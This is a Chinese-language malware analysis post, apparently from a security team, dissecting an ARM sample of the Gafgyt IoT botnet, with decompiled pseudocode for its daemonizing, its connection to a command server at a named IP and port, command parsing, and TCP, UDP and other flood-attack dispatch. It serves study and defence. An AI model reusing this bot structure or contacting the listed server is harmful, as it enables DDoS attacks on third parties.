Miara的延续--gafgyt病毒分析
随着IoT变得越来越火热,许多针对IoT的病毒也越来越多。由于算力、执行环境等原因,IoT固件更新缓慢,容易被攻击者攻破后作为肉鸡发送DDos攻击。著名的僵尸网络家族mirai在2016年用数十万台IoT设备发送DDos攻击,gafgyt重用了mirai的部分代码。
相关信息
来源:https://bazaar.abuse.ch/browse sha256: 77352620b484f8666a96236a6fc1cbf04306d889dc19c588b1270821a2d6a45e(mips)94808a5bfe1ac718f1db0d397411586b2dbb87ff899cb0a57ac06ab780ee7f82(arm)
家族:gafgyt僵尸网络程序
##?分析过程
以arm架构下的病毒为主进行分析
```cpp
v3?=?time(0);
??v4?=?getpid();
??srandom(v3?^?v4);
??v5?=?time(0);
??v6?=?getpid();
??init_rand(v5?^?v6);
??getOurIP();???????????????????????????????????//?获取第一个网卡的mac地址
??v22?=?fork();
??if?(?v22?)
??{
????waitpid(v22,?v21,?0);
????exit(0);
??}
??if?(?fork()?)
????exit(0);
??setsid();
??chdir("/");
??signal(SIGPIPE,?SIGHUP);??????????????????????//?SIG_IGN,忽略中断信号
先初始化随机数,然后获取第一个网卡的mac地址。后面设置信号,忽略中断信号,无法停止程序
while?(?initConnection()?)
??????sleep(5);
????v7?=?mainCommSock;
????v8?=?(const?char?*)inet_ntoa(ourIP);
????v9?=?getPortz();
????v10?=?getArch();
????sockprintf(v7,?"\x1B[1;95mDevice?Connected:?%s?|?Port:?%s?|?Arch:?%s\x1B[0m",?v8,?v9,?v10);
????v24?=?0;
????i?=?0;
初始化一个连接,连接的handler赋值到manCommSock上,连接地址为194.37.80.116:606
while?(?1?)
????{
??????v24?=?recvLine(mainCommSock,?v19,?4096);
??????if?(?v24?==?-1?)
????????break;
??????for?(?i?=?0;?numpids?>?(unsigned?__int64)i;?++i?)
??????{
????????if?(?waitpid(*(_DWORD?*)(4?*?i?+?pids),?0,?1)?>?0?)
????????{
??????????for?(?j?=?i?+?1;?numpids?>?(unsigned?__int64)j;?++j?)
????????????*(_DWORD?*)(pids?-?4?+?4?*?j)?=?*(_DWORD?*)(4?*?j?+?pids);
??????????*(_DWORD?*)(pids?-?4?+?4?*?j)?=?0;
??????????v27?=?malloc(4?*?numpids--);
??????????for?(?j?=?0;?numpids?>?(unsigned?__int64)j;?++j?)
????????????*(_DWORD?*)(4?*?j?+?v27)?=?*(_DWORD?*)(4?*?j?+?pids);
??????????free(pids);
??????????pids?=?v27;
????????}
??????}
??????v19[v24]?=?0;
??????trim(v19);
??????v26?=?v19;
??????if?(?v19[0]?==?'!'?)
??????{
????????for?(?k?=?v26?+?1;?*k?!=?'?'?&&?*k;?++k?)
??????????;
????????if?(?*k?)
????????{
??????????*k?=?0;
??????????k?=?v26?+?1;
??????????v11?=?strlen(v26?+?1);
??????????for?(?v26?+=?v11?+?2;?;?v12[strlen(v26)]?=?0?)
??????????{
????????????v13?=?v26?-?1;
????????????if?(?v13[strlen(v26)]?!=?10?)
????????????{
??????????????v14?=?v26?-?1;
??????????????if?(?v14[strlen(v26)]?!=?13?)
????????????????break;
????????????}
????????????v12?=?v26?-?1;
??????????}
??????????v30?=?v26;
??????????while?(?*v26?!=?32?&&?*v26?)
????????????++v26;
??????????*v26++?=?0;
??????????for?(?l?=?v30;?*l;?++l?)
????????????*l?=?toupper((unsigned?__int8)*l);
??????????v32?=?1;
??????????v33?=?(_BYTE?*)strtok(v26);
??????????v20[0]?=?(int)v30;
??????????while?(?v33?)
??????????{
????????????if?(?*v33?!=?10?)
????????????{
??????????????v15?=?v32;
??????????????v16?=?strlen(v33);
??????????????v35[v15?-?24]?=?malloc(v16?+?1);
??????????????v17?=?v35[v32?-?24];
??????????????v18?=?strlen(v33);
??????????????memset(v17,?0,?v18?+?1);
??????????????strcpy(v35[v32++?-?24],?v33);
????????????}
????????????v33?=?(_BYTE?*)strtok(0);
??????????}
??????????processCmd(v32,?v20);
??????????if?(?v32?>?1?)
??????????{
????????????for?(?m?=?1;?m?<?v32;?++m?)
??????????????free(v35[m?-?24]);
??????????}
????????}
??????}
接收来自服务器的命令,分割命令并将所有字母转换为大写。命令格式为
!cmd?args
最后在processCmd中执行命令请求,执行之后释放保存命令的临时空间
接下来分析processCmd,其中主要是对各种命令的处理,执行的动作
result?=?strcoll(*a2,?"TCP");
??if?(?!result?)
??{
????if?(?a1?<=?5?)
??????return?result;
????v13?=?a2[1];
????v14?=?atol(a2[2]);
????v15?=?atol(a2[3]);
????v16?=?atol(a2[4]);
????v17?=?a2[5];
????if?(?a1?==?8?)
??????v4?=?atol(a2[7]);
????else
??????v4?=?10;
????if?(?a1?<=?6?)
??????v5?=?0;
????else
??????v5?=?atol(a2[6]);
????if?(?!strchr(v13,?44)?)
????{
??????result?=?listFork();?//?创建子进程,如果是子进程就返回0,否则记录子进程的pid
??????if?(?!result?)
??????{
????????ftcp(v13,?v14,?v15,?v16,?v17,?v5,?v4);
????????exit(0);
??????}
??????return?result;
????}
????for?(?i?=?strtok(v13);?i;?i?=?strtok(0)?)
????{
??????if?(?!listFork()?)
??????{
????????ftcp(i,?v14,?v15,?v16,?v17,?v5,?v4);
????????exit(0);
??????}
????}
??}
对TCP命令的处理,先创建子进程用于执行ftcp函数。如果args[0]有逗号,则对每一个逗号分割出的命令段都要执行ftcp
通过对ftcp的分析,可知第一个参数是目标地址,第五个参数是二级命令,所以一条命令可以同时对多个主机发送多种数据包,包括TCP SYN,RST,FIN,ACK,PSH,且源IP地址是随机生成的,以达到Dos攻击目的
UDP命令和TCP命令相似,只是针对的协议不同
而下面的各个命令都执行了特定的攻击方式,如UDP STD FLOOD,针对游戏服务器的VSE攻击,针对NFO服务器的NFODROP命令。
最后还有一个STOP命令用于停止程序自身,并向之前fork的进程都发送kill信号以尽量确保进程退出。
result?=?strcoll(*a2,?"STOP");
????if?(?!result?)
????{
??????v60?=?0;
??????for?(?ll?=?0;?numpids?>?(unsigned?__int64)ll;?++ll?)
??????{
????????if?(?*(_DWORD?*)(4?*?ll?+?pids)?)
????????{
??????????v3?=?*(_DWORD?*)(4?*?ll?+?pids);
??????????result?=?getpid();
??????????if?(?v3?!=?result?)
??????????{
????????????result?=?kill(*(_DWORD?*)(4?*?ll?+?pids),?9);
????????????++v60;
??????????}
????????}
??????}
????}
????return?result;
最后默认情况下会发动STD攻击
??if?(?a1?<=?5?)
????return?result;
??result?=?atol(a2[3]);
??if?(?result?==?-1?)
????return?result;
??result?=?atol(a2[2]);
??if?(?result?==?-1?)
????return?result;
??result?=?atol(a2[4]);
??if?(?result?==?-1?)
????return?result;
??result?=?atol(a2[4]);
??if?(?result?>?32?)
????return?result;
??if?(?a1?>?6?)
??{
????result?=?atol(a2[6]);
????if?(?result?<?0?)
??????return?result;
??}
??if?(?a1?==?8?)
??{
????result?=?atol(a2[7]);
????if?(?result?<=?0?)
??????return?result;
??}
??v55?=?a2[1];
??v56?=?atol(a2[2]);
??v57?=?atol(a2[3]);
??atol(a2[4]);
??if?(?a1?==?8?)
????atol(a2[7]);
??if?(?a1?<=?6?)
????v10?=?0;
??else
????v10?=?atol(a2[6]);
??if?(?strchr(v55,?',')?)
??{
????for?(?mm?=?strtok(v58,?(int)",");?mm;?mm?=?strtok(0,?(int)",")?)
????{
??????if?(?!listFork()?)
????????astd(mm,?v56,?v57,?v10);
????}
????goto?LABEL_182;
??}
??result?=?listFork();
??if?(?!result?)
????astd(v55,?v56,?v57,?v10);
总结
本次分析的病毒还包含符号表,应该是大神制作的用于学习的。发现由于目标设备的算力和硬件架构、操作系统简单等问题,针对物联网的病毒都没有太多的混淆方法,功能相对来说比较简单。但是麻雀虽小五脏俱全,病毒中包含了几乎所有DDos攻击方法的命令,不仅有通用的,还有针对特定服务器的。
由于物联网设备使用的Linux内核并非最新,且厂商更新速度较慢,导致物联网设备易被入侵,沦为肉鸡。虽然单个物联网设备算力不足,但是物联网设备数量众多,是一种发起DDos攻击的好方式。所以一定要注意物联网安全。
本次分析学到了很多东西,包括物联网病毒的攻击方式,病毒并行攻击的原理,病毒与服务器交互的方式;另外还学到了多种之前没见过的DDos攻击方法。
参考资料
Mirai code re-use in Gafgyt--uptycs blog iot-malware--github Gafgyt Botnet Lifts DDoS Tricks from Mirai--threatpost 僵尸网络GAFGYT家族分析--安天 Gafgyt家族物联网僵尸网络家族分析--freebuf RANDWARE THE DNA OF MIRAI MODERN IOT ATTACK BOTNETS--CISCO
end
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/







Chamd5安全团队
关注网络尖刀微信公众号
